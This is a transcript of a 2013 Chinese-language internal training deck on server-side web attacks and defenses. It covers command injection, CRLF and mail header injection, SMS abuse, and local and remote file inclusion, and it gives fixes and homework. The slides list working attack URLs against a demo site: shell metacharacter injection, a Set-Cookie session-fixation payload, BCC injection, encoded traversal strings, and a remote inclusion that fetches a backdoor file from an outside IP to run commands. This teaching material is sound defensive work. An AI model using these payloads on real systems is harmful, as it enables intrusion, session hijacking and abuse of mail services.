SlideShare a Scribd company logo
1 of 31
Download to read offline
Taien內部資安講座 V
伺服器端攻擊與防禦II
2013.04.17 @ Hiiir Inc.
Taien Wang<taien_wang@hiiir.com>
英屬維京群島商時間軸科技股份有限公司新創事業部
伺服器端攻擊與防禦II - 大綱
1. 注入缺失(Injection)
– 1.1 命令注入攻擊(Command Injection)
– 1.2 換行注入攻擊(Carriage Return Injection, CRLF Injection)
2. 濫用案例(Abuse Cases)
– 2.1 簡訊濫用
– 2.2 電子郵件濫用
3. 檔案或資源匯入安全(File Inclusion)
– 利用條件
• 變數覆蓋(register_globals等)
– 攻擊技巧
• 目錄遊走(Directory Traversal)攻擊
– 實際案例
– 解決方案
4. 作業
5. 參考資料
1. Injection
Command Injection/Carriage Return Injection
1.1 Command Injection(1/2)
• PHP 中可以直接執行程式的函數
– eval(), assert(), system(), exec(), shell_exec(), passthru(), escapeshellcmd(), pcntl_exce()
• 攻擊手法
– |
– ;
– n(%0a)
• 範例
– 正常網址
• http://www.hackdemo.com/class2/command.php?dir=/
– 攻擊網址
• http://www.hackdemo.com/class2/command.php?dir=./;who
• http://www.hackdemo.com/class2/command.php?dir=./|who
1.1 Command Injection(2/2)
• 解決方案
– 白名單
– Shell過濾法
• escapeshellarg()
1.2 Carriage Return Injection(1/3)
• Carriage Return Injection(CRLF Injection) 簡介
– CRLF 為兩個字元「rn」 ,「r」CR(Carriage Return) 16 進位編碼為
0x0d, 「n」 LF(Line Feed) 16 進位編碼為 0x0a
– 在利用這類斷行符號的應用中,若沒做好過濾可能產生安全隱憂
• 範例: 如紀錄檔
– http://www.hackdemo.com/class2/CRLFLog.php?user=taien%0a%E4%
BD%BF%E7%94%A8%E8%80%85%E7%99%BB%E5%85%A5%E5%A4
%B1%E6%95%97:%20hacker
1.2 Carriage Return Injection(2/3)
• PHP4.4.2 與 5.1.2 以限定單一 header
• 攻擊影響
– 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)
– 郵件濫用
– 指定 Session Id
– 可關閉 IE XSS Filter
• X-XSS-Protection: 0
– …
• 範例
– 攻擊網址
• http://www.hackdemo.com/class2/CRLF.php?url=www.hackdemo.co
m%0D%0ASet-Cookie: PHPSESSION=hacked;max-
age=10000000;path=/
1.2 Carriage Return Injection(3/3)
• 解決方案
– 黑名單消毒
• 去除 CR 與 LF
2.濫用案例
簡訊濫用/電子郵件濫用
2.1 簡訊濫用(1/2)
2.1 簡訊濫用(2/2)
• 解決方案
– 發送紀錄
– 限制同 IP 發送次數與同電話發送限制
– 驗證碼檢查
– Referer 檢查
• PHP 新的版本已經預設一個 header 只能有一標頭命令
2.2 郵件濫用(1/2)
• PHP 中的 mail() 與 mb_send_mail(),透過換行或逗號對任意使用者傳送信件
• 攻擊效果, 竄改信件標頭
– From: taien.nethack@gmail.com
– Bcc: taien.vip@gmail.com, taien_wang@hiiir.com
• 範例
– 正常網址
• http://www.hackdemo.com/class2/mail.php?to=taien@abc.com&subject=title&body=
mail&from=taien.nethack@gmail.com
– 攻擊網址
• http://www.hackdemo.com/class2/mail.php?to=taien@abc.com&subject=title&body=
mail+injection&from=taien.nethack@gmail.com%0d%0aBCC%3A%2ctaien.vip@gmail
.com%2ctaien_wang@hiiir.com
2.2 郵件濫用(2/2)
• 解決方案
– To, From 需符合 Mail 格式或考慮使用白名單
– 限制同一 IP 使用次數
– 同 CRLF 防禦
• 黑名單消毒
– 去除 CR 與 LF
3.檔案或資源匯入安全(File Inclusion)
Remote File Inclusion/Local File Inclusion
3. 檔案或資源匯入安全
• 依據引入來源一般可分為本地及遠端
– 本地檔案引入弱點(Local File Inclusion)
– 遠端檔案引入弱點(Remote File Inclusion)
• 各語言常見函數
– PHP
• include(), include_once(), require(), require_once(), fopen(),
readfile()…
– JSP/Servlet
• Ava.io.File(), java.io.FileReader()
– ASP
• Include file, include virtual, …
3.1 檔案或資源匯入安全 – 利用條件
• 遠端檔案引入弱點(Remote File Inclusion),利用條件
• allow_url_fopen (php 4.x)
• allow_url_include (php 5.2.x)
– 或
• register_globals 開啟造成變數覆蓋
• 其他有可能造成變數覆蓋的函數
3.2 檔案或資源匯入安全 – 攻擊手法(1/5)
• 試想以下程式碼有什麼問題? 怎麼攻擊?
3.2 檔案或資源匯入安全 – 攻擊手法(2/5)
• 通用技巧
– 0位元截斷(0, %00)
– ?
• 本地端引入技巧
– 超長字串
• Windows: 超過 256 位元組
• Linux: 超過 4096 位元組
3.2 檔案或資源匯入安全 – 攻擊手法(3/5)
• 目錄遊走(Directory Traversal)攻擊
• ..
• 一些變形
編碼 等同
%2e%2e%2f ../
%2e%2e/ ../
..%2f ../
%2e%2e%5c ..
%2e%2e ..
..%5c ..
%252e%252e%255c ..
..%255c ..
3.2 檔案或資源匯入安全 – 攻擊手法(4/5)
• 本地端引入技巧
– 使用者上傳檔案
– session暫存檔案
– 記錄檔 access log
– 上傳暫存檔案 RFC 1867
– /proc/self/environ web執行緒的環境變數
– data://或 php:input 等擬真通訊協定
– 應用程式建立的檔案(資料庫檔案, 快取檔案, 應用記錄檔…)
3.2 檔案或資源匯入安全 – 攻擊手法(5/5)
• 攻擊範例
– RFI.php
• http://www.hackdemo.com/class2/RFI.php?path=http://163.13.200.164/~taien
/door.txt&cmd=dir
• http://www.hackdemo.com/class2/RFI.php?gpath=http://163.13.200.164/~taie
n/door.txt&cmd=dir
– RFISplit.php
• http://www.hackdemo.com/class2/RFISplit.php?cmd=dir&gpath=http://163.13.
200.164/~taien/door.txt?
• http://www.hackdemo.com/class2/RFISplit.php?cmd=dir&gpath=http://163.13.
200.164/~taien/door.txt%00
– LFI.php
• http://www.hackdemo.com/class2/LFI.php?log=fail
• http://www.hackdemo.com/class2/LFI.php?log=fail........secret.txt%00
3.3 檔案或資源匯入安全 – 解決方案
• 解決方案
– 白名單
– 黑名單
• 過濾不正常字串
• basename()
– 系統設定
• PHP.ini
– allow_url_fopen off
– allow_url_include off
– register_globals off
– open_basedir
» Windows 多目錄設定”分號”
» Linux 多目錄設定”冒號”
• Apache
<Directory /home/taien/>
php_admin_flag allow_url_fopen off
</Directory>
3.4 檔案或資源匯入安全 – 實際案例(1/5)
• 知名公告系統 - ANN 公告系統(http://nextime.byethost4.com/)
3.4 檔案或資源匯入安全 – 實際案例(2/5)
• 某知名公告系統(<1.30)遠端檔案引入
3.4 檔案或資源匯入安全 – 實際案例(3/5)
• 某知名公告系統(<1.30)變數覆蓋
3.4 檔案或資源匯入安全 – 實際案例(4/5)
• 知名開源專案 - Phorum(http://www.phorum.org/)
3.4 檔案或資源匯入安全 – 實際案例(5/5)
那一年,**地下網管
弱點揭露資料庫
• Exploit-DB
– www.exploit-db.com
• WooYun.org
– www.wooyun.org
• Sebug漏洞信息庫
– sebug.net
作業
• 查詢自己在專案中使用的套件是否有弱點?
• 檢查自己案子是否有 Command Injection 嘗試解決並分享
• 檢查自己案子是否有濫用案例裡的情節或其他?
• 檢查自己案子是否有 RFI 或 LFI 試解決並分享
參考資料
• 吳翰清, 網路竟然這麼危險(白帽子讲Web安全), 2012
• 柯志杰譯, 網頁程式駭客攻防實戰以PHP為例, 2007
• OWASP, OWASP Testing Guide v3.0
• Gynvael Coldwind , PHP LFI to arbitratry code execution via rfc1867 file
upload temporary files, 2011
• Cb520, ANN公告系統漏洞, 2007
• Exploit-DB

More Related Content

What's hot

Ops Meta-Metrics: The Currency You Pay For Change
Ops Meta-Metrics: The Currency You Pay For ChangeOps Meta-Metrics: The Currency You Pay For Change
Ops Meta-Metrics: The Currency You Pay For Change
John Allspaw
 
德國銀行要命的10分鐘
德國銀行要命的10分鐘德國銀行要命的10分鐘
德國銀行要命的10分鐘
duliyuan
 

What's hot (10)

The 10 most common fmea mistakes
The 10 most common fmea mistakes The 10 most common fmea mistakes
The 10 most common fmea mistakes
 
現場料品管理 material control
現場料品管理 material control現場料品管理 material control
現場料品管理 material control
 
Fmea Presentation 2
Fmea Presentation 2Fmea Presentation 2
Fmea Presentation 2
 
Security Testing with Zap
Security Testing with ZapSecurity Testing with Zap
Security Testing with Zap
 
Metasploit For Beginners
Metasploit For BeginnersMetasploit For Beginners
Metasploit For Beginners
 
Ops Meta-Metrics: The Currency You Pay For Change
Ops Meta-Metrics: The Currency You Pay For ChangeOps Meta-Metrics: The Currency You Pay For Change
Ops Meta-Metrics: The Currency You Pay For Change
 
德國銀行要命的10分鐘
德國銀行要命的10分鐘德國銀行要命的10分鐘
德國銀行要命的10分鐘
 
Shift Left & Shift Right Approach in Testing
Shift Left  &  Shift Right  Approach in TestingShift Left  &  Shift Right  Approach in Testing
Shift Left & Shift Right Approach in Testing
 
Frida Android run time hooking - Bhargav Gajera & Vitthal Shinde
Frida  Android run time hooking - Bhargav Gajera & Vitthal ShindeFrida  Android run time hooking - Bhargav Gajera & Vitthal Shinde
Frida Android run time hooking - Bhargav Gajera & Vitthal Shinde
 
Internship Project - Bowtie
Internship Project - BowtieInternship Project - Bowtie
Internship Project - Bowtie
 

Viewers also liked (6)

伺服器端攻擊與防禦III
伺服器端攻擊與防禦III伺服器端攻擊與防禦III
伺服器端攻擊與防禦III
 
伺服器端攻擊與防禦I
伺服器端攻擊與防禦I伺服器端攻擊與防禦I
伺服器端攻擊與防禦I
 
議題二:Web應用程式安全防護
議題二:Web應用程式安全防護議題二:Web應用程式安全防護
議題二:Web應用程式安全防護
 
淡江大學 - 網站開發應用技術及雲端應用技術
淡江大學 - 網站開發應用技術及雲端應用技術淡江大學 - 網站開發應用技術及雲端應用技術
淡江大學 - 網站開發應用技術及雲端應用技術
 
用戶端攻擊與防禦
用戶端攻擊與防禦用戶端攻擊與防禦
用戶端攻擊與防禦
 
PHP更有效率的除錯 - XDebug
PHP更有效率的除錯 - XDebugPHP更有效率的除錯 - XDebug
PHP更有效率的除錯 - XDebug
 

Similar to 伺服器端攻擊與防禦II

Hiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir 資安講座 VI 伺服器端攻擊與防禦IIIHiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir Lab
 
六步教你学会简单Rmi
六步教你学会简单Rmi六步教你学会简单Rmi
六步教你学会简单Rmi
yiditushe
 
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir 資安講座 IV 伺服器端攻擊與防禦IHiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir Lab
 
議題三:政府網站常見弱點與分析
議題三:政府網站常見弱點與分析議題三:政府網站常見弱點與分析
議題三:政府網站常見弱點與分析
Nicolas su
 
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir Lab
 

Similar to 伺服器端攻擊與防禦II (20)

Hiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir 資安講座 VI 伺服器端攻擊與防禦IIIHiiir 資安講座 VI 伺服器端攻擊與防禦III
Hiiir 資安講座 VI 伺服器端攻擊與防禦III
 
WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」
 
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
 
網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019
 
六步教你学会简单Rmi
六步教你学会简单Rmi六步教你学会简单Rmi
六步教你学会简单Rmi
 
基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗
 
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir 資安講座 IV 伺服器端攻擊與防禦IHiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
 
Yii2 restful 基礎教學
Yii2 restful 基礎教學Yii2 restful 基礎教學
Yii2 restful 基礎教學
 
使安全成為軟體開發必要部分
使安全成為軟體開發必要部分使安全成為軟體開發必要部分
使安全成為軟體開發必要部分
 
渗透测试思路技术与方法
渗透测试思路技术与方法渗透测试思路技术与方法
渗透测试思路技术与方法
 
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知
 
恶性代码和分析方案
恶性代码和分析方案恶性代码和分析方案
恶性代码和分析方案
 
2007 - 应用系统脆弱性概论
2007 - 应用系统脆弱性概论 2007 - 应用系统脆弱性概论
2007 - 应用系统脆弱性概论
 
Php应用程序常见安全问题解析
Php应用程序常见安全问题解析Php应用程序常见安全问题解析
Php应用程序常见安全问题解析
 
雲端分散架構的駭客事件與安全問題
雲端分散架構的駭客事件與安全問題雲端分散架構的駭客事件與安全問題
雲端分散架構的駭客事件與安全問題
 
議題三:政府網站常見弱點與分析
議題三:政府網站常見弱點與分析議題三:政府網站常見弱點與分析
議題三:政府網站常見弱點與分析
 
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
 
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分
 
网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert
 
模块一-Go语言特性.pdf
模块一-Go语言特性.pdf模块一-Go语言特性.pdf
模块一-Go语言特性.pdf
 

More from Taien Wang

More from Taien Wang (12)

[MOPCON2019]從零建立商業技術團隊
[MOPCON2019]從零建立商業技術團隊[MOPCON2019]從零建立商業技術團隊
[MOPCON2019]從零建立商業技術團隊
 
[ModernWeb2019] Taien - 高併發的道與術
[ModernWeb2019] Taien - 高併發的道與術[ModernWeb2019] Taien - 高併發的道與術
[ModernWeb2019] Taien - 高併發的道與術
 
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞
 
百人團隊敏捷轉型暨持續性整合與交付實踐
百人團隊敏捷轉型暨持續性整合與交付實踐百人團隊敏捷轉型暨持續性整合與交付實踐
百人團隊敏捷轉型暨持續性整合與交付實踐
 
淡江Git與GitHub操作介紹
淡江Git與GitHub操作介紹淡江Git與GitHub操作介紹
淡江Git與GitHub操作介紹
 
成長駭客 Growth Hacker
成長駭客 Growth Hacker成長駭客 Growth Hacker
成長駭客 Growth Hacker
 
20160105 wnmp & phalcon micro app - part II
20160105   wnmp & phalcon micro app - part II20160105   wnmp & phalcon micro app - part II
20160105 wnmp & phalcon micro app - part II
 
20151229 wnmp & phalcon micro app - part I
20151229 wnmp & phalcon micro app - part I20151229 wnmp & phalcon micro app - part I
20151229 wnmp & phalcon micro app - part I
 
我編程.我快樂
我編程.我快樂我編程.我快樂
我編程.我快樂
 
Scrum深入淺出
Scrum深入淺出Scrum深入淺出
Scrum深入淺出
 
淡江大學 - ios+android+html5(javascript)
淡江大學 - ios+android+html5(javascript)淡江大學 - ios+android+html5(javascript)
淡江大學 - ios+android+html5(javascript)
 
Android Taipei 2013 August - Android Apps Security
Android Taipei 2013 August - Android Apps SecurityAndroid Taipei 2013 August - Android Apps Security
Android Taipei 2013 August - Android Apps Security
 

伺服器端攻擊與防禦II

  • 1. Taien內部資安講座 V 伺服器端攻擊與防禦II 2013.04.17 @ Hiiir Inc. Taien Wang<taien_wang@hiiir.com> 英屬維京群島商時間軸科技股份有限公司新創事業部
  • 2. 伺服器端攻擊與防禦II - 大綱 1. 注入缺失(Injection) – 1.1 命令注入攻擊(Command Injection) – 1.2 換行注入攻擊(Carriage Return Injection, CRLF Injection) 2. 濫用案例(Abuse Cases) – 2.1 簡訊濫用 – 2.2 電子郵件濫用 3. 檔案或資源匯入安全(File Inclusion) – 利用條件 • 變數覆蓋(register_globals等) – 攻擊技巧 • 目錄遊走(Directory Traversal)攻擊 – 實際案例 – 解決方案 4. 作業 5. 參考資料
  • 4. 1.1 Command Injection(1/2) • PHP 中可以直接執行程式的函數 – eval(), assert(), system(), exec(), shell_exec(), passthru(), escapeshellcmd(), pcntl_exce() • 攻擊手法 – | – ; – n(%0a) • 範例 – 正常網址 • http://www.hackdemo.com/class2/command.php?dir=/ – 攻擊網址 • http://www.hackdemo.com/class2/command.php?dir=./;who • http://www.hackdemo.com/class2/command.php?dir=./|who
  • 5. 1.1 Command Injection(2/2) • 解決方案 – 白名單 – Shell過濾法 • escapeshellarg()
  • 6. 1.2 Carriage Return Injection(1/3) • Carriage Return Injection(CRLF Injection) 簡介 – CRLF 為兩個字元「rn」 ,「r」CR(Carriage Return) 16 進位編碼為 0x0d, 「n」 LF(Line Feed) 16 進位編碼為 0x0a – 在利用這類斷行符號的應用中,若沒做好過濾可能產生安全隱憂 • 範例: 如紀錄檔 – http://www.hackdemo.com/class2/CRLFLog.php?user=taien%0a%E4% BD%BF%E7%94%A8%E8%80%85%E7%99%BB%E5%85%A5%E5%A4 %B1%E6%95%97:%20hacker
  • 7. 1.2 Carriage Return Injection(2/3) • PHP4.4.2 與 5.1.2 以限定單一 header • 攻擊影響 – 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting) – 郵件濫用 – 指定 Session Id – 可關閉 IE XSS Filter • X-XSS-Protection: 0 – … • 範例 – 攻擊網址 • http://www.hackdemo.com/class2/CRLF.php?url=www.hackdemo.co m%0D%0ASet-Cookie: PHPSESSION=hacked;max- age=10000000;path=/
  • 8. 1.2 Carriage Return Injection(3/3) • 解決方案 – 黑名單消毒 • 去除 CR 與 LF
  • 11. 2.1 簡訊濫用(2/2) • 解決方案 – 發送紀錄 – 限制同 IP 發送次數與同電話發送限制 – 驗證碼檢查 – Referer 檢查 • PHP 新的版本已經預設一個 header 只能有一標頭命令
  • 12. 2.2 郵件濫用(1/2) • PHP 中的 mail() 與 mb_send_mail(),透過換行或逗號對任意使用者傳送信件 • 攻擊效果, 竄改信件標頭 – From: taien.nethack@gmail.com – Bcc: taien.vip@gmail.com, taien_wang@hiiir.com • 範例 – 正常網址 • http://www.hackdemo.com/class2/mail.php?to=taien@abc.com&subject=title&body= mail&from=taien.nethack@gmail.com – 攻擊網址 • http://www.hackdemo.com/class2/mail.php?to=taien@abc.com&subject=title&body= mail+injection&from=taien.nethack@gmail.com%0d%0aBCC%3A%2ctaien.vip@gmail .com%2ctaien_wang@hiiir.com
  • 13. 2.2 郵件濫用(2/2) • 解決方案 – To, From 需符合 Mail 格式或考慮使用白名單 – 限制同一 IP 使用次數 – 同 CRLF 防禦 • 黑名單消毒 – 去除 CR 與 LF
  • 15. 3. 檔案或資源匯入安全 • 依據引入來源一般可分為本地及遠端 – 本地檔案引入弱點(Local File Inclusion) – 遠端檔案引入弱點(Remote File Inclusion) • 各語言常見函數 – PHP • include(), include_once(), require(), require_once(), fopen(), readfile()… – JSP/Servlet • Ava.io.File(), java.io.FileReader() – ASP • Include file, include virtual, …
  • 16. 3.1 檔案或資源匯入安全 – 利用條件 • 遠端檔案引入弱點(Remote File Inclusion),利用條件 • allow_url_fopen (php 4.x) • allow_url_include (php 5.2.x) – 或 • register_globals 開啟造成變數覆蓋 • 其他有可能造成變數覆蓋的函數
  • 17. 3.2 檔案或資源匯入安全 – 攻擊手法(1/5) • 試想以下程式碼有什麼問題? 怎麼攻擊?
  • 18. 3.2 檔案或資源匯入安全 – 攻擊手法(2/5) • 通用技巧 – 0位元截斷(0, %00) – ? • 本地端引入技巧 – 超長字串 • Windows: 超過 256 位元組 • Linux: 超過 4096 位元組
  • 19. 3.2 檔案或資源匯入安全 – 攻擊手法(3/5) • 目錄遊走(Directory Traversal)攻擊 • .. • 一些變形 編碼 等同 %2e%2e%2f ../ %2e%2e/ ../ ..%2f ../ %2e%2e%5c .. %2e%2e .. ..%5c .. %252e%252e%255c .. ..%255c ..
  • 20. 3.2 檔案或資源匯入安全 – 攻擊手法(4/5) • 本地端引入技巧 – 使用者上傳檔案 – session暫存檔案 – 記錄檔 access log – 上傳暫存檔案 RFC 1867 – /proc/self/environ web執行緒的環境變數 – data://或 php:input 等擬真通訊協定 – 應用程式建立的檔案(資料庫檔案, 快取檔案, 應用記錄檔…)
  • 21. 3.2 檔案或資源匯入安全 – 攻擊手法(5/5) • 攻擊範例 – RFI.php • http://www.hackdemo.com/class2/RFI.php?path=http://163.13.200.164/~taien /door.txt&cmd=dir • http://www.hackdemo.com/class2/RFI.php?gpath=http://163.13.200.164/~taie n/door.txt&cmd=dir – RFISplit.php • http://www.hackdemo.com/class2/RFISplit.php?cmd=dir&gpath=http://163.13. 200.164/~taien/door.txt? • http://www.hackdemo.com/class2/RFISplit.php?cmd=dir&gpath=http://163.13. 200.164/~taien/door.txt%00 – LFI.php • http://www.hackdemo.com/class2/LFI.php?log=fail • http://www.hackdemo.com/class2/LFI.php?log=fail........secret.txt%00
  • 22. 3.3 檔案或資源匯入安全 – 解決方案 • 解決方案 – 白名單 – 黑名單 • 過濾不正常字串 • basename() – 系統設定 • PHP.ini – allow_url_fopen off – allow_url_include off – register_globals off – open_basedir » Windows 多目錄設定”分號” » Linux 多目錄設定”冒號” • Apache <Directory /home/taien/> php_admin_flag allow_url_fopen off </Directory>
  • 23. 3.4 檔案或資源匯入安全 – 實際案例(1/5) • 知名公告系統 - ANN 公告系統(http://nextime.byethost4.com/)
  • 24. 3.4 檔案或資源匯入安全 – 實際案例(2/5) • 某知名公告系統(<1.30)遠端檔案引入
  • 25. 3.4 檔案或資源匯入安全 – 實際案例(3/5) • 某知名公告系統(<1.30)變數覆蓋
  • 26. 3.4 檔案或資源匯入安全 – 實際案例(4/5) • 知名開源專案 - Phorum(http://www.phorum.org/)
  • 29. 弱點揭露資料庫 • Exploit-DB – www.exploit-db.com • WooYun.org – www.wooyun.org • Sebug漏洞信息庫 – sebug.net
  • 30. 作業 • 查詢自己在專案中使用的套件是否有弱點? • 檢查自己案子是否有 Command Injection 嘗試解決並分享 • 檢查自己案子是否有濫用案例裡的情節或其他? • 檢查自己案子是否有 RFI 或 LFI 試解決並分享
  • 31. 參考資料 • 吳翰清, 網路竟然這麼危險(白帽子讲Web安全), 2012 • 柯志杰譯, 網頁程式駭客攻防實戰以PHP為例, 2007 • OWASP, OWASP Testing Guide v3.0 • Gynvael Coldwind , PHP LFI to arbitratry code execution via rfc1867 file upload temporary files, 2011 • Cb520, ANN公告系統漏洞, 2007 • Exploit-DB